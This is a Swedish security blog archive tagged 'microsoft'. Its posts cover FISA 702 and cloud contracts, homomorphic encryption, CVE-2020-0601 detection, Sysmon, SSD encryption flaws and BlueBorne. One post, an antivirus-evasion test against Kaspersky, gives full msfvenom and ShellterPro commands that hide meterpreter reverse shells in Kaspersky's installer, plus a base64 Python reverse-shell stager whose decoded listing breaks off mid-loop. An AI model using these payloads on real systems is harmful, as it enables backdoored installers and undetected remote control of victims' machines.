Taggat med: microsoft

Molntjänster och FISA 702

Daniel Melin som till vardags jobbar på Skatteverket har skrivit ett intressant inlägg på sin privata LinkedIn-sida där han går igenom amerikanska underrättelselagen FISA och speciellt FISA 702 och hur denna påverkar svenska medborgare. Kortfattat kan man säga att personuppgifter som behandlas av amerikanska företag i Sverige kan läsas av amerikansk underrättelsetjänst.

Jag har med tillstånd av Daniel återpublicerat texten här nedan:

En kommentarstråd till en Linkedin-post av Microsoft fick mig att på nytt börja fundera över FISA 702. Vad innebär FISA 702 egentligen? Hur långt sträcker den sig? Vad innebär avtalsvillkoren från de amerikanska leverantörerna i förhållande till FISA 702?

Eftersom det var Microsoft som var i ursprungligt fokus utgår jag från deras avtal och information, men genomgången har inte specifikt med Microsoft att göra, jag bara använder dem som exempel för att det ska bli enklare att förstå.

Kommentera gärna om jag missat eller missuppfattat något. Jag har skrivit efter bästa förmåga, men ämnet är svårt och ursprungstexterna är inte helt lättlästa.

När används FISA 702?

FISA 702 tillåter att den amerikanska regeringens chefsjurist (Attorney General) tillsammans med den nationella underrättelsechefen (Director of National Intelligence) godkänner inhämtning av information om (1) icke-amerikaner, (2) som sannolikt inte befinner sig i USA, samt (3) för att inhämta underrättelseinformation om andra länder.

Alltså omfattas allt som har med Sverige och svenska medborgare att göra av FISA 702.

Vad anges i lagtexten?

lagtexten till FISA 702 står det:

Notwithstanding any other law, the President, through the Attorney General, may authorize electronic surveillance without a court order under this subchapter to acquire foreign intelligence information for periods of up to one year if the Attorney General certifies in writing under oath that the electronic surveillance is solely directed at the acquisition of the contents of communications transmitted by means of communications used exclusively between or among foreign powers, as defined in section 1801(a) (1), (2), or (3) of this title.

An electronic surveillance authorized by this subsection may be conducted only in accordance with the Attorney General’s certification and the minimization procedures adopted by him.

With respect to electronic surveillance authorized by this subsection, the Attorney General may direct a specified communication common carrier to:

(A)furnish all information, facilities, or technical assistance necessary to accomplish the electronic surveillance in such a manner as will protect its secrecy and produce a minimum of interference with the services that such carrier is providing its customers; and

(B)maintain under security procedures approved by the Attorney General and the Director of National Intelligence any records concerning the surveillance or the aid furnished which such carrier wishes to retain.

Alltså, utan domstolsbeslut kan NSA inhämta underrättelseinformation om andra länder via en kommunikationsleverantör utan att röja att inhämtning pågår. Inhämtad information kan därefter lagras på obestämd tid.

Vad anges i FISA Amendments Act of 2008 Section 702?

FISA Amendments Act of 2008 Section 702 går det bland annat att läsa:

One of the primary purposes in enacting the FAA was the creation of a new way for the US Government to compel providers of electronic communications services to assist the Government in acquiring foreign intelligence information concerning non-US persons located outside the United States.

Certification 2008-A: Targeting Directed at Foreign Governments and Similar Entities

This collection will be accomplished by a variety of means at switches and other parts of the infrastructure of companies that provide electronic communications services to people abroad from within the United States.

The collection will seek to acquire foreign intelligence information concerning foreign governments, factions thereof and similar types of entities, and also states that a list of the entities that will be targeted is included as “Exhibit F” (Sverige är ett utpekat land i Exhibit F)

NSA may disseminate to CIA unevaluated data that comes from collection pursuant to this certification and that CIA requests in order to carry out its clandestine espionage and counterintelligence activities abroad.

NSA may also disseminate to FBI, at FBI’s request, unevaluated data that comes from collection pursuant to this certification.

Alltså, kommunikationsleverantörer ska hjälpa NSA att inhämta underrättelseinformation om t.ex. Sverige. Denna information kan sen delas med CIA och FBI.

Vad står i ett typiskt avtal med en amerikansk molntjänstleverantör?

Av Microsoft Onlinetjänster Dataskyddstillägg daterad 21 juli 2020 framgår:

Microsoft lämnar inte ut eller ger åtkomst till Behandlade data, utom enligt följande: (1) På Kundens instruktioner. (2) Enligt beskrivning i detta DPA. (3) Så som krävs enligt lag. I detta avsnitt avses med ”Behandlade data” följande: (a) Kunddata. (b) Personuppgifter. (c) Andra data som behandlas av Microsoft i samband med den onlinetjänst som är Kundens konfidentiella information enligt volymlicensieringsavtalet.

FISA 702 är en lag och omfattas således av (3).

Microsoft ska inte lämna ut eller ge åtkomst till Behandlade data till rättsvårdande myndighet såvida inte detta krävs enligt lag. Om rättsvårdande myndighet skulle kontakta Microsoft med en begäran om behandlade data ska Microsoft försöka hänvisa den rättsvårdande myndigheten till att begära dessa data direkt från Kunden. Om Microsoft är tvungna att lämna ut eller ge åtkomst till Behandlade data till rättsvårdande myndighet ska Microsoft omgående meddela Kunden och tillhandahålla en kopia av begäran, såvida inte Microsoft är förhindrade enligt lag att göra så.

NSA är såvitt jag vet inte en rättsvårdande myndighet i USA, utan en underrättelsemyndighet. Hela stycket synes endast hantera situationen med FBI och CLOUD Act.

Vid mottagande av tredje mans begäran om behandlade data ska Microsoft omgående meddela kunden, såvida inte detta är förbjudet enligt lag. Microsoft ska avvisa begäran utom då uppfyllelse krävs enligt lag. Om begäran är giltig ska Microsoft försöka hänvisa tredje man direkt till Kunden med sin begäran om data.

Begäran enligt FISA 702 är enligt lagtexten belagd med tystnadsplikt varför kund inte kommer informeras av Microsoft.

För mig framstår det tydligt att Microsoft kommer lämna ut kunders information till NSA utan att informera kunderna. Jag noterar även att det inte finns något om att informationens geografiska placering påverkar avtalet varför det förefaller uppenbart att FISA 702 träffar Microsoft som koncern.

Vad skriver Microsoft om kopplingen till FISA?

På Microsofts blogg framgår bland annat:

Q: Do you give the U.S. government direct access to Skype and Outlook.com data flows as suggested by some stories reporting on documents released by Edward Snowden?

A: We’ve been clear about this. We do not provide any government with direct access to emails or instant messages. Full stop. Like all providers of communications services, we are sometimes obligated to comply with lawful demands from governments to turn over content for specific accounts, pursuant to a search warrant or court order.

Detta är förmodligen sant men NSA behöver inte direkt tillgång till meddelanden eller annan data eftersom Microsoft tvingas leta upp data och därefter överlämna denna data till NSA.

Notera även att svaret endast hanterar de situationer när det finns ett domstolsbeslut. FISA 702 bygger enligt lagtexten inte på domstolsbeslut.

Q: How does Microsoft define a FISA order seeking disclosure of content?

A: This category would include any FISA electronic surveillance orders (50 U.S.C. § 1805), FISA search warrants (50 U.S.C. § 1824), and FISA Amendments Act directives or orders (50 U.S.C. §1881 et seq.) that were received or active during the reporting period.

Notera frånvaron av FISA 702 (50 U.S.C. §1802)

Q: How does Microsoft define a FISA order requesting disclosure of noncontent?

A: This category would include any FISA business records (50 U.S.C. § 1861), commonly referred to as 215 orders, and FISA pen register and trap and trace orders (50 U.S.C. § 1842) that were received or active during the reporting period.

Notera frånvaron av FISA 702 (50 U.S.C. §1802)

Min slutsats

Jag har i viss mån missbedömt FISA 702 tidigare. Lagstiftningen är extremt långtgående både vad gäller vilken information som kan inhämtas och hur länge information får sparas.

Att EU-domstolen och EDPB går hårt fram gällande personuppgiftsbehandling i USA och hos amerikanska bolag som är kommunikationsleverantörer (t.ex. molntjänstleverantörer) förefaller högst rimligt. En personuppgiftsansvarig i Sverige är faktiskt förhindrad att göra en riskbedömning eftersom det är helt omöjligt att bedöma vilken data som samlas in, för vilket syfte och under vilken tid.

Artikel 28.1 i GDPR och artiklarna 7 och 8 i EU-stadgan kan helt enkelt inte uppfyllas av en amerikansk leverantör.

Homomorfisk kryptering

Homomorfisk kryptering

För oss som gillar homomorfisk kryptering (HE) så börjar det nu dyka upp användningsområden lite här och var. Kortfattat kan man säga att homomorfisk kryptering medger att du kan göra beräkningar på krypterad information. Något som kan vara mycket användbart när molntjänster nyttjas och du inte vill dela med dig av information till molnleverantören.

Microsoft är en leverantör som nu använder homomorfisk kryptering i dess mjukvara Edge för att kontrollera läckta lösenord, detta gör man via algoritmen Oblivious Pseudo-Random Function (OPRF). Tidigare har bl.a. Haveibeenpwned använt k-anonymity för att kontrollera lösenord mot läckta listor.

När vi ändå är inne på k-anonymitet så är det värt att nämna att det finns vissa problem och en beskrivning av Googles implementation hittar du här.

Vad som också är intressant är att Microsoft har släppt biblioteket för att göra detta som open-source och under MIT-licens. Biblioteket heter Microsoft SEAL och går att ladda hem här.

Bild som beskriver Microsofts Password Monitor Service och dess användning av OPRF:

NSA varnar för ny Windows-sårbarhet

NSA varnar för ny sårbarhet i Windows

TL;DR Windows CryptoAPI Spoofing-sårbarhet

Uppdatering: Nu finns det en PoC ute, se nedan bild (källa)

Uppdatering 2: Attacken fungerar även mot Chrome.

NSA gick precis ut och varnade för en ny krypto-relaterad sårbarhet som drabbar samtliga installationer av Windows 10 samt  Windows Server 2016/2019. Även påverkade är tredjepartsprogram som använder vissa kryptofunktioner i Windows.

Även skriver NSA att angripare med en god förmåga kommer snabbt att förstå hur dessa sårbarheter kan utnyttjas samt kommer att försöka utnyttja dessa nya sårbarheter.

Exempel där denna bristfälliga signaturvalidering förekommer är:

  • HTTPS-anslutningar
  • Signerade filer och signerad E-post
  • Signerade binärer som startas som användare

Och rekommendationen som åtgärd är att snabbt som ögat installera månadens patchar från Microsoft som släpptes idag. Denna sårbarhet har fått CVE enligt: CVE-2020-0601.

För att upptäcka intrångsförsök eller utnyttjande av bristerna som åtgärdas så kan verktyget certutil eller openssl användas rekommenderar NSA, specifikt på följande sätt:

certutil –asn <certificate_filename> 
openssl asn1parse –inform DER –in <certificate_filename> –i –dump 

Eller 

openssl x509 –inform DER –in <certificate_filename> –text 

Håll då koll på avvikande elliptiska kurvor skriver NSA:

Review the results for elliptic curve objects with suspicious properties. Certificates with named elliptic curves, manifested by explicit curve OID values, can be ruled benign. For example, the curve OID value for standard curve nistP384 is 1.3.132.0.34. Certificates with explicitly-defined parameters (e.g., prime, a, b, base, order, and cofactor) which fully-match those of a standard curve can similarly be ruled benign.

Certificates containing explicitly-defined elliptic curve parameters which only partially match a standard curve are suspicious, especially if they include the public key for a trusted certificate, and may represent bona fide exploitation attempts. 

Kom ihåg att du även kan läsa ut certifikat från PCAP och nätverkstrafik och sedan granska dem enligt ovan.

Mycket bra att NSA har rapporterat denna brist/brister till Microsoft så en patch kunde släppas. Inga aktiva försöka att utnyttja denna sårbarhet har identifierats rapporterar även Microsoft och NSA.

Varningen i sin helhet kan du läsa här (PDF)

Patch-gapping

Patch-gapping är ett nytt ord på en gammal metod som successivt ökar: Nämligen att utnyttja sårbarheter som åtgärdats av leverantörer, eller är på väg att åtgärdats av leverantörer. Området är närbesläktat med zero-days och patch-gapping kan även gå under benämningen 1-days eller n-days sårbarheter.

Under tiden som leverantören åtgärdar säkerhetsbristen eller det att användare ej uppdaterat sina system eller mjukvaror så finns det ett fönster för att utföra angrepp.

Detta är så klart något som angripare tar till vara på och utvecklar exploits så snart som det finns information om sårbarheter eller säkerhetsfixar. Ett område där detta uppdagas löpande är attacker mot webbläsare.

En av de första att utnyttja och påvisa denna typ av sårbarheter var Halvar Flake som utvecklade BinDiff runt år 2004. BinDiff används framförallt för att granska patchar som släpps av Microsoft och således se vilken kod som ändrats:

Zynamics BinDiff

Mjukvaran BinDiff utvecklades av Halvars företag Zynamics som blev uppköpta av Google och numera kan du gratis ladda hem bindiff. Andra liknande mjukvaror är Diaphora, YaDiff, DarunGrim och TurboDiff.

Men oftast så behövs det inte avancerad binär diffing utan räcker med att läsa changelog samt kolla git-repot eller motsvarande. När det gäller öppen källkod framförallt.

Företaget Exodus Intelligence har skrivit om patch-gapping gällande Google Chrome några gånger.

Följande graf har några år på nacken men visar på det window of opportunity som angriparen har på sig innan användaren uppdaterar till en ny version, i detta fall Google Chrome:

Ny version av Windows Sysinternals Sysmon

Uppdatering: Nya versionen har nu släppts och event ID 22 representerar DNS-frågor:

Event ID 22: DNSEvent (DNS query)

This event generates when a process executes a DNS query, whether the result is successful or fails, cached or not.

is event generates when a process executes a DNS query, whether the result is successful or fails, cached or not.

Även så framgår följande uppdateringar i v10:

This release of Sysmon adds DNS query logging, reports OriginalFileName in process create and load image events, adds ImageName to named pipe events, logs pico process creates and terminates, and fixes several bugs.

Mark Russinovich som tillvardags är CTO på Microsoft Azure meddelade på Twitter att det kommer en ny version av System Monitor (Sysmon) idag Tisdag.

Denna nya version stödjer bl.a. DNS-loggning direkt till eventloggen i Windows. Både förfrågningar och svar loggas till eventloggen som DnsQuery.

När jag skriver detta under tisdagen har dock ännu inte den nya versionen av Sysmon släppts.

Skärmdump:

Ovan skärmdump visar att QueryResults returnerar 5 vilket är CNAME. Att logga svaren på detta sätt är bra vid SOC/SIEM och Threat Hunting eftersom svaren kan ändras med tiden och på detta sätt så får vi en ögonblicksbild hur frågan och svaret såg ut vid just detta tillfälle.

Här kan du ladda hem Sysmon: docs.microsoft.com/en-us/sysinternals/downloads/sysmon

Kryptobrister i flertalet hårddiskar

Forskare vid Radboud University i Nederländerna har tittat på flertalet hårddiskar som stödjer kryptering och konstaterat att flertalet av dessa innehåller brister. Enkla brister såsom att återställningsnyckeln är ett blankt lösenord (32 x 0x00). Även var det möjligt med fysisk access och via JTAG-debugport återställa lösenordet.

Vad som också är anmärkningsvärt är att om du använder Microsoft BitLocker så förlitar sig BitLocker på hårddiskens kryptering.

Krypto-bristerna gäller främst följande hårddiskar:

  • Crucial (Micron) MX100, MX200 and MX300 interna hårddiskar.
  • Samsung T3 and T5 USB externa diskar.
  • Samsung 840 EVO and 850 EVO interna diskar.

Följande tabell visar på bristerna på de olika hårddiskarna:

“You might think you’ve done the right thing enabling BitLocker but then a third-party fault undermines your security, but you never know and never would know”

Alan Woodward, professor på University of Surrey

Här kan du läsa vad Samsung skriver om sårbarheterna:

Även så har myndigheten NCSC i Nederländerna gått ut med en varning samt tilldelat följande CVE:er:

  • CVE-2018-12037
  • CVE-2018-12038
  • CVE-2018-12037
  • CVE-2018-12038

Och här kan du ladda hem forskningsrapporten som PDF: Self-encrypting deception.pdf

Som åtgärd kan du använda VeraCrypt eller så går det att ändra en GPO-inställning så Bitlocker används även om hårdvaran stödjer kryptering.

Microsoft månatliga patchar för Mars

Microsoft har nu släppt de månatliga säkerhetspatcharna för Mars månad. En av de viktigaste säkerhetsfixarna är en som åtgärdar en RCE (Remote Code Execution) i CredSSP som används för bl.a. RDP (Remote Desktop). Denna sårbarhet har CVE-2018-0886 och som förmildrande faktor så måste angripare utföra MITM (man-i-mitten).

75 sårbarheter åtgärdas totalt varav 14 är kritiska och följande produkter åtgärdar Microsoft brister i:

  • Internet Explorer
  • Microsoft Edge
  • Microsoft Windows
  • Microsoft Office and Microsoft Office Services and Web Apps
  • Microsoft Exchange Server
  • ASP.NET Core
  • .NET Core
  • PowerShell Core
  • ChakraCore
  • Adobe Flash

För den som undrar så är ChakraCore den JavaScript-motor som återfinnes i webbläsaren Edge. Och vad som jag tycker är intressant är att Microsoft patchar en sårbarhet i Adobe Flash.

Uppdatering: Att Adobe Flash uppdateras beror troligtvis på att Flash numera är inbyggt i webbläsaren.

Test av gratis anti-virus från Kaspersky

Kaspersky lanserade nyligen en gratis version av sin antivirusmjukvara och jag bestämde mig för att testa vad den går för. Som del av mina uppdrag då jag testar säkerheten för mina uppdragsgivare (penetrationstester) så förekommer det att jag får i uppdrag att ta mig förbi eventuella säkerhetsprodukter såsom sandlådor och antivirus.

Det råder ingen tvekan om att det går att ta sig förbi majoriteten av alla säkerhetssystem såsom sandlådor, data loss prevention-verktyg och antivirus. Att däremot upptäcka i tid när någon försöker ta sig förbi ett säkerhetssystem och reagera på detta är avgörande.

Allmänna synpunkter om Kaspersky Free

Att ladda hem och installera Kaspersky Free Anti-Virus gick smidigt. Vid installationen fick jag frågan om jag vill ingå i Kaspersky Security Network (KSN) och då dela med mig av information om min dator samt skadlig kod som upptäcks på min dator. Jag förstår att inget i livet är gratis och att om jag använder Kaspersky Free så måste jag dela med mig av något. Men det verkar inte som att det är ett måste att ingå i KSN.

Nästa fundering är att det står att licensen gäller i 365 dagar. Vad händer efter det?

Test 1: Testvirus Eicar vs Kaspersky

Det första testet jag genomför är att ladda hem testviruset Eicar. Det finns på eicar.org och går att ladda hem på lite olika sätt: Direkt via HTTP, HTTPS eller i zip-fil. När jag laddar hem Eicar via HTTP så får jag ett meddelande direkt i webbläsaren att jag försöker ladda hem skadlig kod, vilket då påvisar att Kaspersky granskar okrypterad webbtrafik.

När jag försöker ladda hem Eicar via HTTPS så får jag inget meddelande, men jag varnas om jag aktivt försöker starta filen eller söker igenom filen. Detta visar på att Kaspersky ej troligtvis genomför MITM (man i mitten på HTTPS-surf).

Bra, då har vi verifierat att Kaspersky Free Anti-Virus är korrekt installerat.

Test 2: Powershell implantat vs Kaspersky

Nu börjar det bli lite mer avancerat. I detta test  tänker jag testa ett implantat som heter PoshC2 och ligger på Github. Implantatet kan levereras via MS16-051, Word-makron eller Java JAR-filer. Jag väljer att köra via ett Word-makro och installation samt kommunikation fungerar utmärkt.

PoshC2-implantat vs. Kaspersky

Skärmdumpen ovan påvisar att beacon skickas var femte sekund och att användaren heter IEUser. Eftersom Kaspersky var dålig på att upptäcka detta implantat så testar jag även att skicka upp Word-dokumentet till VirusTotal:

Bland de antivirus-motorer som detekterar denna skadlig kod är Avira, Avast, Fortinet och AVG.  Jag noterar också att den gratis IOC-skannern Loki detekterar detta.

Test 3: Metasploit vs Kaspersky

Med hjälp av operativsystemet Kali Linux där Metasploit finns förinstallerat skapar jag en meterpreter reverse TCP payload.

Jag använder msfvenom på följande sätt:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.101.2.254 LPORT=443 -f raw -e x86/shikata_ga_nai -i 9 | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 11 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 6 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 7 -x kfa17.0.0.611abcsv_11811.exe -k -f exe -o kfa17.0.0.611abcsv_11811-meterpreter-msf.exe

Ovan kommandorad använder flertalet obfuskerare såsom shikata-ga-nai och lägger till Metasploits modul för att ansluta hem.

Denna payload gömmer vi sedan i Kasperskys egen installationsfil kfa17.0.0.611abcsv_11811.exe.

Detta var dock ingen match för Kaspersky att upptäcka:

Nästa test jag gör med Metasploit är att skapa en Python payload med hjälp av msfvenom:

msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.99.101 LPORT=443

Denna kod måste jag sedan modifiera så den fungerar tillsammans med PyInstaller som skapar en fristående .exe-fil.

Ser ut ungefär så här:

import base64,sys,socket,code,platform,shutil
exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguOTkuMTAxJyw0NDMpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))

Vilket motsvarar följande kod utan Base64-kodning:

import socket,struct,time
for x in range(10):
  try:
	s=socket.socket(2,socket.SOCK_STREAM)
	s.connect(('192.168.99.101',443))
	break
  except:
	time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
  while len(d)

När jag sedan testar att köra exe-filen från PyInstaller så blir det ingen detektion hos Kaspersky:

[*] Sending stage (40747 bytes) to 192.168.99.100
[*] Meterpreter session 6 opened (192.168.99.101:443 -> 192.168.99.100:50511) at 2017-08-24 09:44:11 -0400
 msf exploit(handler) > sessions -i 6
[*] Starting interaction with 6...

meterpreter > sysinfo
 Computer : IE11Win8_1
 OS : Windows 8.1 6.3.9600
 Architecture : x86
 Meterpreter : python/windows
 meterpreter >

Eftersom Kaspersky inte lyckades att detektera mitt test är det intressant att se vad VirusTotal säger om filen. Nu får jag en detektionsratio på 13 av 64 antivirus-motorer.

Test 4: Shellter vs Kaspersky

Shellter Project är ett intressant verktyg som enligt utvecklaren kan användas för att dynamiskt injicera shellcode i PE-filer (Portable Executable).

Shellter is a dynamic shellcode injection tool, and the first truly dynamic PE infector ever created.

Inbyggt i Shellter är möjligheten att skapa ett antal olika Metasploit meterpreter payloads:

  • meterpreter_reverse_tcp
  • meterpreter_reverse_http
  • meterpreter_reverse_https
  • meterpreter_bind_tcp
  • shell_reverse_tcp
  • shell_bind_tcp
  • WinExec

Och väljer du att köpa betalversionen (Pro) för 90 USD så får du ytterligare några payloads:

  • Meterpreter_Reverse_WINHTTP
  • Meterpreter_Reverse_WINHTTPS
  • Shell_Reverse_TCP_DNS

Och har du en egen payload så går det givetvis också bra. Några exempel på egen payload följer med i mappen shellcode_samples.

Jag kör Kali Linux där jag installerat Windows-emulatorn Wine och startar ShellterPro som är betalversionen med hjälp av följande argument:

wine ShellterPro.exe -f ../kfa17.0.0.611abcsv_11811.exe -p meterpreter_reverse_tcp --lhost 192.168.99.101 --port 443 --encode --handler IAT --polyExtra --incSize 500 --Junk -s

Detta gör att payloaden meterpreter_reverse_tcp läggs till i filen kfa17.0.0.611abcsv_11811.exe. Övriga argument har att göra med hur Shellter försöker dölja payloaden för antivirus-program.

Sedan för jag över filen till Windows där Kaspersky körs och får då en anslutning till Metasploit när användaren klickar på filen:

[*] Sending stage (956991 bytes) to 192.168.99.100
[*] Meterpreter session 1 opened (192.168.99.101:443 -> 192.168.99.100:57922) at 2017-08-25 02:38:52 -0400

msf exploit(handler) >
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer : IE11WIN8_1
OS : Windows 8.1 (Build 9600).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >

Laddar jag sedan upp denna testfil till VirusTotal så är det enbart 4 st antivirus-motorer som identifierar denna som skadlig kod:

Slutsats

Det är relativt lätt att ta sig förbi Kaspersky antivirus men ovan visar på att inget antivirus är fullständigt. Om du vill vara på den säkra sidan bör du använda flertalet antivirus-motorer, åtminstone i gateways såsom perimeterskyddet mot internet och vid analys av filer på löstagbart media.

Att använda ett antivirusprogram är helt klart bättre än att inte använda något alls. I ovan tester mot VirusTotal så ingår inte Microsofts eget gratisskydd Security Essentials.

Tack till Laban Sköllermark och Emma Lilliestam för korrekturläsning.

Ny trådlös attack som använder Bluetooth: BlueBorne

BlueBorne är samlingsnamnet på en ny uppsjö av säkerhetsbuggar som identifierats i den trådlösa standarden Bluetooth och kan potentiellt drabba 5.3 miljarder enheter världen över.

Säkerhetsbuggarna har identifierats av företaget Armis som jobbar just med IoT-säkerhet. Att säkerhetsbuggarna kan drabba så pass många enheter beror på att flertalet sårbarheter har identifierats i många av de mjukvaror som implementerar Bluetooth-standarden.

Följande sårbarheter har identifierats i plattformarna Android, Windows, Linux och iOS:

  • Linux kernel RCE vulnerability – CVE-2017-1000251
  • Linux Bluetooth stack (BlueZ) information leak vulnerability – CVE-2017-1000250
  • Android information leak vulnerability – CVE-2017-0785
  • Android RCE vulnerabilities CVE-2017-0781 & CVE-2017-0782
  • The Bluetooth Pineapple in Android – Logical Flaw CVE-2017-0783
  • The Bluetooth Pineapple in Windows – Logical Flaw CVE-2017-8628
  • Apple Low Energy Audio Protocol RCE vulnerability – CVE-2017-14315

Den enhet som attackeras behöver inte ställas i synligt-läge och några behörigheter behöver inte användas för att nyttja någon av ovan attacker enligt Armis.

Demonstration av attacken finner du här:

Här kan du ladda hem ett tekniskt papper i PDF-format:

Windows SMBv3 zero-day

Proof of Concept (PoC)-kod för en ny zero-day har släppts på Github. Koden kan få en Windows-klient att krascha över nätverket i dagsläget (denial of service) men oklart om detta kan leda till något allvarligare.

Det koden gör är simulera en server och skickar då SMBv3-paket som får klienter av typen Windows 8 eller Windows Server 2012 är blåskärma. Detta för att enbart dessa operativsystem och nyare som stödjer version 3 av SMB-protokollet.

För att förmildra eventuell skada så rekommenderas blockering av TCP portar 139 och 445 samt UDP port 137 och 138 in/utgående genom brandväggar.

PCAP finnes här:

Skärmdump från Windows 8 där denna brist utnyttjas: